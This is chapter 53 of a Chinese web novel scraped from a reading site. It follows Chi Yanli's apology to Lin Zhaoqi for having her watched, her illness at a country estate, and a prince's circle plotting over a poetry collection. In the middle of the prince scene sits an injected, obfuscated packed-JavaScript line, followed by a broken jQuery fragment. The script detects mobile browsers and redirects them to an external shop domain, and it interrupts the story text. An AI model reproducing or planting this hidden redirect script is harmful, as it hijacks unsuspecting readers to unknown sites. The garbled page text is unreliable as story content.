文趣网 > 其他小说 > 对反派日久生情了怎么办 > 53. 诗集(六)
    窗外夜色如绸,明月清风,伴随池厌礼的询问,林朝祈回过神来。

    “朝祈,你别怕。”池厌礼停在屏风后边,嗓音清冽带着几分不自在,“我就在这,不会往里去。”

    “我来跟你解释下玉湫的事。”

    话入耳,林朝祈攥紧被褥的手缓缓松开。她静静靠着软枕,目光穿过屏风,在脑海里勾勒出他的身形,描绘他此刻的模样。

    她没应,但池厌礼知道她听到了。

    他站在暗处,“……玉湫的事,你应该知道了。”

    沉默半息,他再次开口。

    “一开始,我确实不放心你。”他承认他在监视她。

    才放松的被褥又渐渐捏起了折痕,林朝祈悬着的心沉下,至少没有骗她。

    “我很抱歉,最开始我叫玉湫把你的每日行程具无细的汇报给我……”

    从玉湫到她身边的时间,直至昨日,不乏从什么时候开始监视她的,她见过何人,做了何事,吃食喜好,穿衣打扮。

    林朝祈一一听着,终于明白他为何会知道自己喜欢吃鱼,又听他道:“但素女案之后,我便没再这么要求了。”

    林朝祈垂下眸,明白他的意思,就是发现自己真的没有威胁了,所以也就不需要监视了。

    他越说,声音越低,但清晰入耳,“我很抱歉,被监视着生活的一举一动确实是件非常冒犯的事。但……后来,留她在你身边,我只是想着这样能保护你。”

    在事情没败露前,池厌礼并不觉得这有什么,他甚至认为自己的出发点是好的,这实在暖心之举。但林朝祈生气了,他不明白。

    他盯着案桌上的那截蜡烛看了许久,很短的一节,却经久不灭,虽渺小,却始终燃着光。

    他试着去猜测林朝祈的心理,她肯定知道自己最开始为何会监视她,所以她觉得自己另有所图还是因为发现自己演技败露而觉得难堪。

    池厌礼想了很久,哄人总要先知道根在哪,道歉总要先知道错在哪。

    此才诚心。

    更香已燃去大半,铜盘里落了一层细细的灰,他侧目看去,第三道刻痕刚好烧尽。

    终于他恍然,这其实并不暖心,其实是一种轻视。

    他赌林朝祈还没睡,因为某个混蛋,可能又哭了。

    当即决定出门寻卿卿。

    看着面前的围墙,前一夜两人还在这说着知意话,想到她说其实你来找我,我会开心的。

    池厌礼心虚的摸了摸鼻尖,希望她能开心。

    思及此,池厌礼开口:“未经你意愿是我不对,我能理解你为什么生气,生气是对的,我不该忽视你的主体性,打着为你好的名号,掩盖自己的私欲。”

    里头人依旧没回话,像睡了般。

    他字字句句像雨滴,像石子,打在平静的湖边,荡出一圈圈波纹。

    “不会再有这种事发生了。”

    “原谅我,可以吗?”

    不知过了多久,林朝祈轻轻翻身,发出了一点声响,没再看屏风外那影子一眼。

    月光从窗台越出,分割着这明暗两处。

    池厌礼紧了紧拳头,望着里头那道黑影,不再步步相逼。

    “我先走了,你好好休息。别多想,我们明天再说这事……”

    这次没有猫儿的掩盖,推门声突兀极了。

    听到门掩上的声音,林朝祈猛得掀开被子,呆呆望着床顶,片刻屈指轻轻抛却眼角的一点泪。

    迷迷糊糊再睁眼时,外头已天光大亮。

    林朝祈今日没去裁缝店,跟着母亲和舅舅到乡下的庄子上去了。

    她坐在马车里,撑着头,望着林府的大门久久移不开视线。

    晦暗的车厢拉开一道光,林夫人和秦毓明进来了。

    见人到齐了,车夫便开始挥动鞭子驾驶着马车,一路向前。

    路上林朝祈一直提不起精神,整个人像生病了般,面色苍白。

    听着林夫人与秦毓明的聊天,昏昏欲睡。

    起初林夫人并不在意,只以为是她瞌睡,可等到了庄子上,才发现整个人烫得很。

    “你这孩子,生病了都不知道。绘竹墨心是怎么照顾你的。”林夫人心急责备道。

    林朝祈觉得自己眼前的路分成了两道,林夫人的声音穿过耳中就像那天外来音,空的很。

    “我没事。”她弱弱道。

    这次只跟了墨心,她连忙上前扶住,并朝林夫人道:“是奴婢失职。”

    “快送她到房里休息吧。”秦毓明开口,并对一早便守在这等他们的管家道,“去寻个大夫来。姐,你先别急。”

    管家给他们寻了间最好的房间,一脸谄媚的笑道:“夫人您放心,来顺已经去请大夫了。”

    一时,满院的苦味。

    林朝祈皱着眉,将药吞下又睡去,再醒来已经黄昏了,无力睁开双眼,发现自己身处异处,可她连惊的力气都没有,扭头一看发现林夫人坐在外厅。

    她虚弱喊了句:“阿娘。”

    “朝儿,你醒了?感觉如何?”林夫人听到动静,连忙走到她身边。

    林朝祈思绪渐渐收拢,反应过来这是在庄子上。本来她今日是想跟着两大人来看看的,谁料自己却病倒了。

    “我没事,抱歉,我耽误事了。”林朝祈带着浓厚的哑意,气息虚无的开口。

    “你这孩子,哪里有什么耽误的。”林夫人叹了声,“感觉好点了吗?要不要回京?”

    林朝祈摇摇头:“好多了,我不回,我还想去外面看看。”

    这也是她跟来的来意。

    整日呆在京中太闷了,上京说大不大,说小不小,她暂时不想见到一些人。

    林夫人给她掩了掩被子:“那等大夫来看过,再叫墨心带你出去走走。”

    外头天昏黄的很,鸟归巢的扑闪声,田里蝈蝈的叫唤无一不让林朝祈感到平静。

    她再次阖上眼,静心听听这个世界的声音。

    *

    七皇子府。

    书房。

    几人围着方座,正中央的小匣子突然被人拿起。

    “不如让我去找谢停云交换?”依橙盯着手中的玉印,眼底发光。

    “不可。”

    “不行。”

    两道声音同时斩钉截铁的拒绝。

    依橙眉峰拧成疙瘩,腮帮子绷得死死的,压着一腔不能发的火气。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669189|204759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “放下。”这次是周献韫说的,短短二字,藏尽了人间的刻薄。

    依橙的心思,他还能不了解,轻轻抬眼瞥了眼她那幽怨的小表情,又轻飘移开。

    而在依橙看来,倒像是对她的挑衅,奈何她啥也不能干。

    “哦!”她重重道,旋即放下匣子。

    前天因偷跑被饿了半天的教训全然没记住,只记住了晚上周献韫让厨房准备的烤鸭。

    “淮殊,你去。”周献韫不带犹豫将匣子推向对面的淮殊。

    此事他只交代了这三人,而池厌礼离不开京,依橙是人质。

    他去最为合适。

    淮殊接下,依橙坐在一旁,生着气。唯独池厌礼,一言不发。

    周献韫看了他好几回,这个副手的能力,他是认可的,就是和那林府的二丫头纠缠的有点紧。

    成大事者,不可痴迷情爱。

    他这般想着,目光不由移到正挂着脸的依橙身上,眼神一冽。

    “池厌礼,你在想什么?”

    池厌礼回过神,茫然问:“怎么了?”

    他抬眼便见几双眼睛齐刷刷盯着自己,反应过来自己走神了,说了句抱歉。

    周献韫见他这副模样,不禁摇摇头,但还是敲打了他一番。

    几人又聊到关于蓝田的事,如果诗集真的是从六皇子那传出的,说明他根本不知道当年的事,那么他们从平康坊里查到的线索便全都作废了。

    “那诗集出自宁妃之手,颇得陛下赏识,以至于惹的灵贵妃不快,在她死后所有身前之物都尽数夺取。”周献韫道,“我原以为,是灵贵妃知道些什么,但现在想来她并不知道。”

    说着,他不免嗤笑一声,又道:“也是,以她的家势,陛下不敢将这种事捅到她面前,自是被保护的好好的。”

    语气夹枪带刺,像蛇吐着红信子,让人听了后背发凉。

    连一向不怕他的依橙都感到了寒意。

    “所以一直有人在我们身边混淆视听。”池厌礼道,“而六皇子不过是被挡出来的棋子。”

    六皇子勾结一事不假,可是他们混淆了勾结与私冶戎械,这其实是两回事。

    帐本上始终补不齐的那块,想来是融了,铸成了那些兵器。

    这条线索只能重新查,但值得高兴的一点是,对方与六皇子一样,也不知道诗集的作用,否则绝不会放任他们查到。

    难道是皇帝在贼喊做贼?

    可那样他不必给池厌礼权利。

    一时缄默无声。

    “再过些天,估计该听到你升值的消息了。”周献韫突然出声道。

    池厌礼点首,但心中莫名生起些不安。

    已近黄昏,淮殊带着匣子准备前往蓝田,池厌礼则回了远安侯府。

    房间只剩下依橙和周献韫两人。

    她坐在桌前,趴了好一会,又直起身,看向珠帘后边的那个男人。

    “殿下,您到底把依橙留在这做什么?”她怪里怪气道。

    周献韫没说话,不知在找什么。

    等了会,依橙又腻着嗓子喊了声:“殿下。”

    周献韫掀开帘子,手中还拿着本书,道:“别吵了,本王来了。”